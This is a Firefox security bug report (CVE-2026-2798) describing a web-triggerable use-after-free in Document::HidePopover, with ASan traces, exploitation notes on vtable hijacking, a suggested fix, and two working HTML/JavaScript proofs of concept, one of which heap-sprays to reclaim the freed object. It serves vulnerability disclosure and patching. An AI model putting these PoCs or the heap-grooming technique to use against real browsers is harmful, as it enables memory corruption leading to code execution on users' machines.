Closed Bug 2014136 (CVE-2026-2798) Opened 6 months ago Closed 5 months ago

Use-After-Free in Document::HidePopover via beforetoggle reentrancy

Tracking

()

Status:

RESOLVED FIXED

Milestone:

149 Branch

Tracking Flags:

Tracking

Status

firefox-esr115

---

unaffected

firefox-esr140

---

unaffected

firefox147

---

wontfix

firefox148

fixed

firefox149

fixed

People

(Reporter: prodigysml555, Assigned: keithamus)

References

(Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main148+])

Crash Data

Attachments

(5 files)

(secure) 6 months ago Keith Cirkel [:keithamus] 48 bytes, text/x-phabricator-request	dveditz : sec-approval+	Details \| Review
popover_hide_uaf.html from comment 0 6 months ago Daniel Veditz [:dveditz] 564 bytes, text/html		Details
"heap spray POC" from comment 0 6 months ago Daniel Veditz [:dveditz] 1.65 KB, text/html		Details
(secure) 6 months ago Keith Cirkel [:keithamus] 48 bytes, text/x-phabricator-request		Details \| Review
(secure) 5 months ago Keith Cirkel [:keithamus] 48 bytes, text/x-phabricator-request	phab-bot : approval-mozilla-beta+	Details \| Review

Sajeeb Lohani

Reporter

Description

•

6 months ago

Summary

Document::HidePopover captures a raw PopoverData* at Document.cpp:16262 before dispatching a synchronous beforetoggle event at line 16273. A beforetoggle handler can free that PopoverData (by removing the popover attribute) and create a replacement (by re-adding it and calling showPopover()). The replacement passes CheckPopoverValidity since it checks GetPopoverData() on the element, not the stale local pointer. After the handler returns, lines 16295 and 16304 call data->SetInvoker(nullptr) through the dangling pointer, which reads 8 bytes from the freed memory and calls Release() on whatever value it finds there.

This is web-triggerable with no user interaction. The attacker has a JS execution window between the free and the use, allowing heap spray to place controlled data at the freed address. The Release() call goes through a vtable, giving a controlled virtual function call primitive.

Steps to Reproduce

Build with ASan (--enable-address-sanitizer --disable-jemalloc --enable-debug)
Run: MOZ_FORCE_DISABLE_E10S=1 ./mach run --headless -- file:///path/to/poc.html
Crashes immediately with heap-use-after-free.

Minimal PoC (attached as popover_hide_uaf.html):

<!DOCTYPE html>
<div id="target" popover="auto">Popover content</div>
<script>
const el = document.getElementById('target');
el.showPopover();
let triggered = false;
el.addEventListener('beforetoggle', (e) => {
  if (e.newState === 'closed' && !triggered) {
    triggered = true;
    el.removeAttribute('popover');   // frees original PopoverData
    el.setAttribute('popover', 'auto'); // allocates new PopoverData
    el.showPopover();                // sets new PD to Showing
  }
});
el.hidePopover(); // UAF on return from beforetoggle
</script>

Heap spray PoC (attached as popover_hide_uaf_spray.html) crashes on debug builds without ASan with EXC_BAD_ACCESS at 0x4141414141414141.

What Happens

In Document::HidePopover:

line 16262:  auto* data = popoverHTMLEl->GetPopoverData();  // raw pointer, call it PD_old
line 16273:  popoverHTMLEl->FireToggleEvent(...)             // beforetoggle dispatch

The beforetoggle handler runs:

removeAttribute('popover') -> AfterSetPopoverAttr -> ClearPopoverData() frees PD_old
setAttribute('popover', 'auto') -> AfterSetPopoverAttr -> EnsurePopoverData() allocates PD_new
showPopover() -> sets PD_new to Showing state

Back in HidePopover after the handler returns:

Line 16280: IsPopoverOpenedInMode(Auto) checks PD_new -> passes
Line 16287: CheckPopoverValidity(Showing) checks PD_new -> passes
Line 16295: data->SetInvoker(nullptr) uses PD_old -> UAF

The IsShowingOrHiding reentrancy guard doesn't help because it was set on PD_old (which gets freed), and PD_new starts with IsShowingOrHiding=false (PopoverData.h:115 default).

CheckPopoverValidity (nsGenericHTMLElement.cpp:3381) can't catch this because it calls GetPopoverData() which returns PD_new -- it has no reference to the stale local data pointer.

ASan Output

==39837==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000746a20 at pc 0x00030161d998
READ of size 8 at 0x604000746a20 thread T0
SCARINESS: 51 (8-byte-read-heap-use-after-free)
    #0 nsCOMPtr<nsIWeakReference>::operator=()
    #1 mozilla::dom::Document::HidePopover()        <- Document.cpp:16295
    #2 mozilla::dom::HTMLElement_Binding::hidePopover()

0x604000746a20 is located 16 bytes inside of 48-byte region [0x604000746a10,0x604000746a40)

freed by thread T0 here:
    #0 free()
    #1 nsGenericHTMLElement::AfterSetPopoverAttr()   <- ClearPopoverData()
    #2 nsContentUtils::RemoveScriptBlocker()
    #3 mozilla::dom::Document::EndUpdate()
    #4 mozilla::dom::Element::UnsetAttr()            <- el.removeAttribute('popover')
    #5 mozilla::dom::Element::RemoveAttribute()
    ...
    #24 nsGenericHTMLElement::FireToggleEvent()       <- beforetoggle dispatch
    #25 mozilla::dom::Document::HidePopover()         <- outer HidePopover

previously allocated by thread T0 here:
    #0 malloc()
    #1 mozilla::dom::Element::CreatePopoverData()
    #2 nsGenericHTMLElement::AfterSetPopoverAttr()

Shadow bytes around the buggy address:
=>0x604000746a00: fa fa fd fd[fd]fd fd fd

The access at offset 16 within the freed 48-byte region corresponds to the mInvokerElement field in PopoverData.

Debug build heap spray crash:

EXC_BAD_ACCESS (code=1, address=0x4141414141414141)

frame #0: NS_LogCOMPtrRelease(aObject=0x4141414141414141) at nsTraceRefcnt.cpp:1120
frame #1: nsCOMPtr<nsIWeakReference>::assign_assuming_AddRef at nsCOMPtr.h:320
frame #2: nsCOMPtr<nsIWeakReference>::operator= at nsCOMPtr.h:615
frame #3: PopoverData::SetInvoker(aInvokerElement=0x0) at PopoverData.h:87
frame #4: Document::HidePopover(...) at Document.cpp:16295
frame #5: HTMLElement_Binding::hidePopover at HTMLElementBinding.cpp:2602

Exploitation Notes

SetInvoker(nullptr) assigns to mInvokerElement which is an nsCOMPtr<nsIWeakReference>. The assignment reads the old value from offset 16 in the freed memory and calls Release() on it (nsCOMPtr.h:316-324). Release() is virtual, so if the attacker reclaims the freed 48 bytes with controlled data, they get a vtable call to an attacker-chosen address.

PopoverData is 48 bytes (mVisibilityState at 0, mPreviouslyFocusedElement at 8, mInvokerElement at 16, mIsShowingOrHiding at 24, mTask at 32, mCloseWatcher at 40). This falls into a predictable jemalloc size class. The attacker has full JS execution between the free and use, giving a clean grooming window.

Both lines 16295 and 16304 use the stale pointer.

Suggested Fix

Re-fetch GetPopoverData() after the event dispatch instead of reusing the stale data pointer. After CheckPopoverValidity passes at line 16287:

data = popoverHTMLEl->GetPopoverData();
if (!data) {
  return;
}

Same treatment needed at line 16304 where data is used outside the fireEvents block.

Heap Spray PoC

<!DOCTYPE html>
<div id="target" popover="auto">Popover content</div>
<script>
const el = document.getElementById('target');
const sprayCount = 2000;

// Pre-warm the allocator
const warmupDivs = [];
for (let i = 0; i < 500; i++) {
  const d = document.createElement('div');
  d.setAttribute('popover', 'auto');
  document.body.appendChild(d);
  warmupDivs.push(d);
}
for (const d of warmupDivs) d.removeAttribute('popover');
for (const d of warmupDivs) d.remove();

el.showPopover();

let triggered = false;
const sprayStrings = [];

el.addEventListener('beforetoggle', (e) => {
  if (e.newState === 'closed' && !triggered) {
    triggered = true;

    // Free the original PopoverData (~48 bytes)
    el.removeAttribute('popover');

    // Spray 48-byte allocations to reclaim the freed slot.
    // nsStringBuffer(8 header) + 19 char16_t(38) + null(2) = 48 bytes.
    // Chars at indices 4-7 land at byte offset 16 (mInvokerElement).
    const poisonChar = String.fromCharCode(0x4141);
    const sprayStr = poisonChar.repeat(19);
    for (let i = 0; i < sprayCount; i++) {
      const s = sprayStr.substring(0, 15) + String.fromCharCode(0x4141 + (i & 0xFF)) +
                String.fromCharCode(0x4141 + ((i >> 8) & 0xFF)) +
                poisonChar + poisonChar;
      sprayStrings.push(s);
      if (i < 200) {
        const d = document.createElement('span');
        d.setAttribute('data-x', s);
        document.body.appendChild(d);
      }
    }

    // Re-add popover and re-show to pass CheckPopoverValidity
    el.setAttribute('popover', 'auto');
    el.showPopover();
  }
});

try { el.hidePopover(); } catch(e) {}
</script>

Tested on macOS ARM64, mozilla-central tip, both ASan and debug builds.

Flags: sec-bounty?